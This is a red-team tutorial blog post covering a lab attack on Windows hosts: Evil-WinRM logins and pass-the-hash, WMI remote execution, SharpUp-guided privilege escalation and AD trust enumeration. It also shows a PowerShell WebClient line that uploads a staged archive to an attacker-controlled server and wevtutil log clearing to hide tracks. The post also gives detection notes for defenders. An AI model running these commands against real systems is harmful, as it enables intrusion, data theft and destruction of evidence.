Welcome back to the final post in our red teaming blog series! Part 7 and on from here will focus on Blue Teaming. So far, we’ve obtained a foothold on the lab workstation test001 as user John, established a Covenant C2 connection (a “Grunt”), and even set up persistence. Now it’s time to act like a seasoned red team operator. This post will cover what an attacker can do with stable access: moving laterally across systems, escalating privileges, gathering and staging data, and maintaining stealth. As we dive into advanced tactics and techniques, we’ll continue the friendly, step-by-step style – perfect for IT pros new to red teaming.
Lateral Movement with Harvested Credentials
By now, we’ve likely harvested some credentials from our compromised host (perhaps via Mimikatz in an earlier step). Armed with those credentials, an attacker’s next move is often to pivot to another machine. This is called lateral movement. The goal is to expand control in the network, often to find more sensitive systems or accounts.
Two common ways to move laterally on Windows are WinRM (Windows Remote Management, which gives a remote PowerShell session) and WMI (Windows Management Instrumentation). Both are built-in administration tools that attackers abuse to blend in.
- Using Evil-WinRM (WinRM): If WinRM is enabled on a target host and we have a valid username/password (or hash), we can use the Evil-WinRM tool for a remote shell. Evil-WinRM is an attacker-friendly WinRM client that gives a PowerShell console on the remote machine. For example, if we’ve stolen local admin credentials for host test002, we could run:
evil-winrm -i 192.168.1.50 -u Administrator -p Password
This command connects to the host at 192.168.1.50 (say, test002) using the given admin credentials
Here is a great link to more information on EVIL-WINRM: hackingarticles.in
. If successful, we land as that user in a PowerShell session on test002. We can then run whoami or other commands on test002 to verify access.
Evil-WinRM allows an attacker to log into a target host remotely with stolen credentials. In this example, the attacker connects and runs whoami on the remote system.
Evil-WinRM even allows pass-the-hash (using -H <NTLMhash> instead of a password)
evil-winrm -i 192.168.11.33 -u ‘techmentor\administrator’ -H c66605e2ea4a3f154726c33ddcf844cd
and can load scripts or transfer files. This makes it a powerful lateral movement tool once you have credentials.
- Using WMI: Another stealthy method is WMI, which lets us execute commands on a remote host without needing a full shell. For instance, from our compromised test001, we could instruct test002 to run a command via WMI. One way is using the wmic command-line tool. Suppose we have John’s domain credentials and they have access to test002 – we can try:
wmic /node: "test002" /user: "CORP\\John" /password:"<Password>" process call create "cmd.exe /c whoami"
This tries to create a process (cmd /c whoami) on test002 using WMI
If John has appropriate rights on test002, that process will run, and we’d see the output on test002 (not directly returned to us via Wmic, but we’d verify execution through other means or logs). More practically, an attacker might use WMI to run a PowerShell payload or drop a new Grunt on the target. In our lab, we could use Covenant to push an agent to test002 via WMI, achieving a new Grunt session there – as we did in Part 3 when we pivoted to test002.
In Part 3, we demonstrated a simple lateral movement: using WinRM (which Covenant supports through its tasks) to pivot from test001 to test002
The key takeaway is that once an attacker has valid credentials, they will “spread out” to other hosts wherever that account has access. This could mean connecting to a file server, an application server, or a domain controller. Each new compromised host is a step closer to the crown jewels.
TTPs and Detection: Lateral movement via WinRM or WMI is mapped to MITRE techniques (e.g. WinRM – a form of Remote Services, WMI – Windows Management Instrumentation abuse). Blue teams can catch these by monitoring for unusual remote logons or processes. For instance, WinRM creates logon events and runs a wsmprovhost.exe process on the target, and WMI can trigger WmiPrvSE.exe, launching a process.
As a Red Teamer, our job is to do it in a way that blends in (using valid credentials and built-in tools helps). We’ll talk more about stealth later, but remember – every lateral move leaves some trace.
Privilege Escalation on the New Host
After moving laterally, attackers often find themselves regular users on the new machine. For example, we might have a low-privilege shell on test002 as John. The next step is privilege escalation—gaining admin or SYSTEM rights on that host. Higher privileges let us disable defenses, dump credentials, and pivot further.
Red Teamers perform detailed host reconnaissance to escalate privileges and find misconfigurations or vulnerabilities. In Windows, this can be a complex task, but there are great tools to automate the checks. Two popular ones are Seatbelt and SharpUp (both part of the GhostPack toolset). These tools enumerate much information about the system and the current user, highlighting potential escalation paths.
Let’s run Seatbelt first for a broad survey. Seatbelt can list UAC settings, running processes, scheduled tasks, and much more (over 40 “safety checks” in its arsenal)
This helps us understand what’s interesting on the host. But for privilege escalation specifically, we’ll use SharpUp, which focuses on standard Windows priv-esc checks.
From our Covenant Grunt on test002, we can execute SharpUp in-memory (Covenant has an Execute-Assembly task to run a .NET exe without touching the disk). When SharpUp runs, it outputs any findings that could lead to elevated rights. Here’s an example (from a similar lab scenario) of what SharpUp might show:
This is the output from running SharpUp on a target host (truncated). The tool identified several privilege escalation opportunities: modifiable services, modifiable service binaries, and AlwaysInstallElevated registry keys.
In the screenshot above, SharpUp found:
- Modifiable Services: For example, our user can modify a DACL Service. That means we could change its binary path to a malicious one. Next time it starts (or if we can start it), it will run our code as SYSTEM—a classic service exploit.
- Modifiable Service Binaries: another service (File Permissions Service) where we can replace the service’s EXE. A similar result is that we gain SYSTEM when the service runs.
- AlwaysInstallElevated = 1: This is a registry setting (actually two keys in HKLM and HKCU) that, if set to 1, allows any user to install a Microsoft Installer (.msi) package with system privileges
. It’s a dangerous configuration in real environments. In a lab, if AlwaysInstallElevated is enabled (HKLM and HKCU are 1, as highlighted in red), we can create a malicious MSI and execute it to pop a SYSTEM shell.
SharpUp gave us a privilege escalation menu. In a real engagement, we’d pick one option and exploit it. For instance, since AlwaysInstallElevated is easy to abuse, we could generate and run an MSI that adds our user to the local Administrators group. Or we might replace the binary of FilePermSvc with our payload and start the service. Either way, we’d run the code as an administrator or SYSTEM on test002.
After exploitation, we elevate our session. Whoami might return NT AUTHORITY SYSTEM, the highest privilege on a Windows host. Success! We have complete control of test002.
With admin rights on test002, we can also dump credentials from that machine (using Mimikatz or Task Manager’s “Audit Mode” trick, etc.), potentially capturing hashes or tickets for other accounts (maybe a server admin or even a domain admin logged in). Privilege escalation is often a pivot point from local admin to domain-wide impact.
TTPs and Detection: The techniques used for privilege escalation vary (e.g., abusing services, exploiting vulnerable drivers, bypassing User Account Control). Blue teams might detect sharp spikes in activity, such as a suspicious service installation or manipulation (Event ID 7045 for service creation) or the use of known exploit tools. Running SharpUp or Seatbelt in-memory is stealthier than writing them to disk (no new binary on disk to catch), but their activity (reading lots of system info, registry, etc.) could still generate clues. As a red teamer, you use these tools to find holes quickly, but you must consider clearing any visible changes you make (for example, if you create a new service for exploitation, you’d remove it afterward).
Additional Reconnaissance: Eyeing the Bigger Network
With multiple machines now under our control, we should perform additional reconnaissance to map the network and plan further steps. A critical recon area in Active Directory environments is domain and trust enumeration. Attackers want to know: Is there another domain we can target? Is there a relationship of trust that allows crossing into a different environment? Who are the domain admins, and what machines can they access?
One thing we’ll do is enumerate Active Directory trusts. Domain trusts allow users in one domain to access resources in another (when configured). If the company has a multi-domain forest or perhaps an external trust with a partner organization, this is juicy information—it could mean more networks to infiltrate.
From our now-privileged position, we can query the domain for trust info. A quick method is using the command-line nltest utility with the /domain_trusts flag. For example, running nltest /domain_trusts /all_trusts on a domain-connected machine lists all trusted domains and their trust direction/attributes.
The output might show, for instance, that our domain, techmentor.com, has a two-way trust with US.Techmentor.com (a US subsidiary’s domain). That tells the attacker, “Hey, there’s another domain we could attack, potentially using our current foothold.”
We could also use PowerShell tools like PowerView (from PowerSploit). PowerView’s Get-NetDomainTrust cmdlet will enumerate domain trusts in the current forest or even external trusts if they exist.
It might show a list of trusted domain names, trust types (external, parent-child, etc.), and whether they’re transitive. In our lab example, if we had a second domain, we’d see it listed. (If this lab is a single-domain environment, trust enumeration would confirm no extra trusts – which is still valuable knowledge.)
Beyond trusts, we would enumerate other AD data: users, groups, computers, and ACLs. We might:
- List privileged groups like Domain Admins and see who’s a member.
- Query which machines those admins commonly log into.
- Search for interesting shares or files across the network (maybe using our new SYSTEM access on test002 to find file servers or using domain credentials to access shares).
All this recon is about expanding our attack surface. We might have credentials for some domain accounts (from Mimikatz on test001 or test002). If we captured a domain admin’s hash, we could perform a Pass-the-Hash attack to impersonate them on the Domain Controller (DC). That would be the final coup – gaining control of the AD infrastructure. Even without that, knowing the layout helps plan data exfiltration: we learn where meaningful data lives and who has access to it.
For instance, we might discover an HR file or database server. Those could be targets for stealing sensitive data. In our scenario, test002 was a finance server with spreadsheets—an attacker will want to grab those.
In short, once you have some elevated access, enumerate everything you can: network topology, trust relationships, sensitive group memberships, key servers, etc. This reconnaissance can be done quietly using built-in commands (LDAP queries, nltest, net view, etc.) that are less likely to trigger alerts.
Data Staging and Exfiltration
At this point, the attacker’s objectives usually shift to the endgame: find and exfiltrate sensitive data. Let’s assume we’ve identified some files of interest on test002 or a network share (for example, “Financial_Report.xlsx” or a database backup). We need to stage this data, exfiltrate it out of the network, and put it under our control.
Data Staging: Attackers often gather files into a single location on the compromised host and compress them to make exfiltration easier. We might create a folder (say C:\Temp\gold) and copy all target files. Using PowerShell, we can compress the folder:
Compress-Archive -Path C:\Temp\gold -DestinationPath C:\Temp\gold.zip
Now we have a single archive, gold.zip, containing all the files we want. We’ll ensure it’s encrypted or password-protected if we’re stealthy (to prevent anyone who intercepts it from reading the contents). In a real scenario, an attacker might use 7-Zip or WinRAR with a strong password to encrypt the archive or even split it into smaller chunks.
Data Exfiltration: With the data ready, we must get gold.zip out to our system. There are many ways to exfiltrate data, and advanced attackers often use the existing C2 channel or standard web protocols to avoid detection. Since we’re using Covenant C2, we can exfiltrate over that same HTTPS channel. This is convenient because security tools may see it as more C2 traffic (which we already have allowed) rather than a new suspicious upload.
One easy method in Covenant is to use the built-in Download task for the Grunt. This “Download” task, despite the name, actually pulls a file from the victim to the C2 server (think of it as a download from the target). We specify the file path we want, and the grunt will send it back in chunks to us over its control channel.
The Covenant GUI looks like this: we select the grunt, go to the Task tab, choose the “Download” task, and input the path (e.g., C:\Temp\gold.zip).
The file is transferred after a short time (depending on the file size and network speed), and we (the attacker) have the gold.zip on our side. Covenant will typically show the task output as successful and store the file for us. We have successfully stolen the data!
Under the hood, the grunt was likely chunking and encoding that file over HTTP(S) requests to our C2 listener.
This is precisely what real adversaries do – exfiltrate data over an existing C2 to appear as regular traffic. Many threat actors use this technique (MITRE ATT&CK calls it Exfiltration Over C2 Channel). Using the established C2, the exfiltration blends in with the command-and-control traffic that might already be allowed or harder to inspect.
Alternatively, we could exfiltrate via other means if C2 didn’t allow large files. For example, we might use a PowerShell one-liner to POST the file to an attacker-controlled server on the internet. For instance:
$client = New-Object System.Net.WebClient
$client.UploadFile("https://givejohnyourcash/upload.php", "C:\Temp\gold.zip")
This would send the file via HTTPS to a web server we control. An attacker might choose to upload data to a cloud service (like an attacker-controlled Dropbox or Google Drive), as those are often less blocked by corporate defenses. The choice of method depends on what’s least likely to be detected in the target environment. Sticking with Covenant’s built-in exfil is our lab’s simplest and most effective.
TTPs and Detection: Large data transfers, especially off-hours or from unusual hosts, can flag the blue team for attention. If a defender is watching network logs, they might notice a host suddenly sending megabytes of data to an unknown external server. Attackers increase their odds of slipping by using HTTPS to a server that might not be malicious (or using a trusted cloud service). DLP (Data Loss Prevention) systems might catch clear-text sensitive info leaving, but if we encrypt the archive, it looks like random bytes. In a real engagement, we’d also consider breaking the file into smaller pieces or slowing down the transfer (to avoid a giant spike in traffic). All these are tradecraft nuances to avoid setting off alarms.
Our Red Team has achieved its primary objectives: compromised multiple systems, escalated privileges, and exfiltrated critical data. An actual attacker might now begin wiping traces or establishing long-term persistence, which brings us to our final topic.
Maintaining Stealth and Covering Tracks
Throughout this operation, we’ve tried to stay under the radar. Stealth is a continuous effort. Now that we’re wrapping up our “attack,” an operator would take steps to remove evidence and ensure continued access (if needed).
A few stealthy practices we employed or can employ moving forward:
- Living off the Land: We used built-in Windows tools (PowerShell, WMI, WinRM, net commands) for most actions. This avoids dropping a lot of custom malware that antivirus might catch. For example, scheduling a task for persistence or using WMI for movement looks like an IT activity, not malware. Our use of Covenant is file-less on the target (the grunt runs in memory), which helped evade Defender initially.
- In-Memory Tools: Running Seatbelt/SharpUp in memory means there are no forensic artifacts of those executables on disk. We also avoided writing Mimikatz to disk by injecting it via Covenant’s Assembly tasks, keeping the disk clean. However, memory forensics could still catch us, so it’s not foolproof stealth, but it raises the bar for detection.
- Minimal Touch Principle: We only targeted systems and data we needed. We didn’t randomly exploit every machine on the network – just those that helped achieve the objective. Fewer hosts touched means fewer chances to get noticed. When we did move laterally (to test002 and the domain controller), we used valid credentials and protocols, which generate regular Windows logs (successful logons, etc.) rather than blatant “hackery” like exploits or malware beacons.
- Covering Tracks: An actual attacker at this point might delete or alter logs to cover their tracks. For instance, they might clear the Windows Event Logs (wevtutil cl System, etc.) to wipe evidence of logons or errors. They could also remove any files they placed on the disk. In our case, if we created loot.zip, we might securely delete it from test002 after exfiltration. If we created a new user or added ourselves to a group for escalation, we’d remove that. Essentially, clean up any footprints left behind. (In a lab, you might not clear logs to learn from them on the blue side. But attackers in the wild often do.)
- Maintain Access (Quietly): If the engagement or attack isn’t over, the red team may want to maintain a backdoor for later use. We set up a scheduled task in Part 3 for persistence – now, we might ensure that it is hidden or use a more covert method. For example, we could install a subtle registry-based backdoor or a new user account that blends in (naming it like a service account). The idea is to have a way back in, even if the initial compromise is discovered and remediated. However, since this is our last red team action before handing over to the blue team, we won’t persist any further – we’ve got what we came for!
All these actions make it a cat-and-mouse game between attacker TTPs and defender visibility. As a red team, we document what was effective and what traces we know we left. This sets the stage for the blue team to practice detecting and responding to the same activities.
Conclusion and What’s Next
In this post, we demonstrated how an attacker, starting from a single compromised user account on test001, can methodically expand their reach: using harvested credentials to move laterally, leveraging tools like Seatbelt/SharpUp to escalate privileges, and finally staging and exfiltrating sensitive data – all while trying to remain stealthy. We’ve walked through a miniature attack lifecycle from initial access to action on objectives.
This wraps up the Red Team portion of our series. You’ve now seen the offensive perspective – how attackers operate and what traces they leave (or try not to leave). In the following posts, we’ll flip to the blue team side. We’ll use Microsoft Defender XDR, Sentinel, and other tools to detect and investigate the very activities we performed in our lab. How do alerts surface for things like WMI lateral movement or a suspicious scheduled task? How can defenders hunt for signs of SharpUp or data exfiltration? Stay tuned because seeing both sides of the coin will solidify your understanding of cybersecurity defense.
You have done an excellent job keeping up with the series so far! This hands-on Red Team experience makes you better equipped to think like an attacker. Now it’s time to think like a defender and catch these tricks. Let’s head to the blue team arena in the upcoming posts, where we’ll dissect everything we did here from a defensive standpoint. Get ready to turn the tables on our fictitious adversary – see you on the blue side! Remember to check out our hands-on-lab book on this and more at https://leanpub.com/redteamingandblueteamingwithmicrosoftdefenderxdr
Thanks,
John Sr.
